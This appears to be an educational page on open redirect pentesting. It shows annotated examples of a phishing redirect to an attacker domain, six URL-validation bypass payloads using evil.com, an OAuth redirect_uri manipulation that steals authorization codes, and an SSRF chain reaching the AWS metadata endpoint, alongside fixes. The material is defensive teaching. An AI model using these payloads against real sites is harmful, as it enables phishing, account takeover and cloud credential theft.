Open Redirect Pentesting
Your Domain. Their Phishing Campaign.

# The attack: A "legitimate" link to your login page
# Sent via email, chat, or embedded in a document

https://trusted-bank.com/login?redirect=https://trusted-bank.com.attacker-phishing.net/login

# What the user sees: trusted-bank.com (safe!)
# Where they land: attacker-phishing.net (credential harvesting)

# The phishing page looks identical to the real login
# User enters credentials, attacker captures them
# User is then redirected to the REAL site, none the wiser

# Attacker now has valid credentials for the real site

// Common validation attempt:
function validateRedirect(url) {
  return url.startsWith("https://mysite.com");
}

// Bypass #1: Subdomain spoofing
validateRedirect("https://mysite.com.evil.com/steal")  // TRUE!
// Redirects to: evil.com (which owns the subdomain mysite.com.evil.com)

// Bypass #2: Username in URL (RFC 3986)
validateRedirect("https://mysite.com@evil.com/steal")  // TRUE!
// Redirects to: evil.com (mysite.com is parsed as username)

// Bypass #3: Protocol-relative URL bypass
"//evil.com"  // Some validators miss this
"%2f%2fevil.com"  // URL-encoded version

// Bypass #4: Backslash normalization (browsers normalize \ to /)
"https://mysite.com\@evil.com"  // May bypass regex checks

// Bypass #5: Null byte injection (legacy systems)
"https://mysite.com%00.evil.com"

// Bypass #6: Fragment and parameter pollution
"https://mysite.com#@evil.com"
"https://evil.com?https://mysite.com"

// Normal OAuth flow:
1. User clicks "Login with Google" on your site
2. User authorizes access on Google
3. Google redirects to: https://yourapp.com/oauth/callback?code=SECRET_AUTH_CODE
4. Your app exchanges the code for access tokens

// Attack: Manipulate redirect_uri
https://accounts.google.com/oauth/authorize?
  client_id=YOUR_CLIENT_ID&
  redirect_uri=https://yourapp.com.attacker.com/steal&  // Attacker's domain!
  response_type=code&
  scope=email+profile

// If your app (or Google's validation for your client) accepts this:
1. User authorizes access (they only see "yourapp" requesting permission)
2. Google redirects to: https://yourapp.com.attacker.com/steal?code=SECRET
3. Attacker captures the authorization code
4. Attacker exchanges code for access token
5. Attacker has full access to user's account

// Prevention: OAuth servers should ONLY accept exact redirect_uri matches
// registered in advance. No wildcards. No subdomain matching.

// Your application fetches URLs for link previews
async function fetchLinkPreview(url) {
  // Security check: only allow trusted domains
  const parsed = new URL(url);
  if (!["twitter.com", "linkedin.com"].includes(parsed.hostname)) {
    throw new Error("Untrusted domain");
  }
  
  // Fetch the URL (follows redirects by default!)
  const response = await fetch(url, { redirect: "follow" });
  return extractPreviewData(response);
}

// Attack: Use an open redirect on a trusted domain
const maliciousUrl = "https://twitter.com/share?url=http://169.254.169.254/latest/meta-data/";

// What happens:
// 1. Validation passes (twitter.com is trusted)
// 2. Twitter redirects to the attacker-controlled URL
// 3. Your server follows the redirect to AWS metadata endpoint
// 4. Attacker receives your AWS credentials in the preview

// This turns open redirect into Server-Side Request Forgery (SSRF)

// Fix: Set redirect: "manual" and validate each hop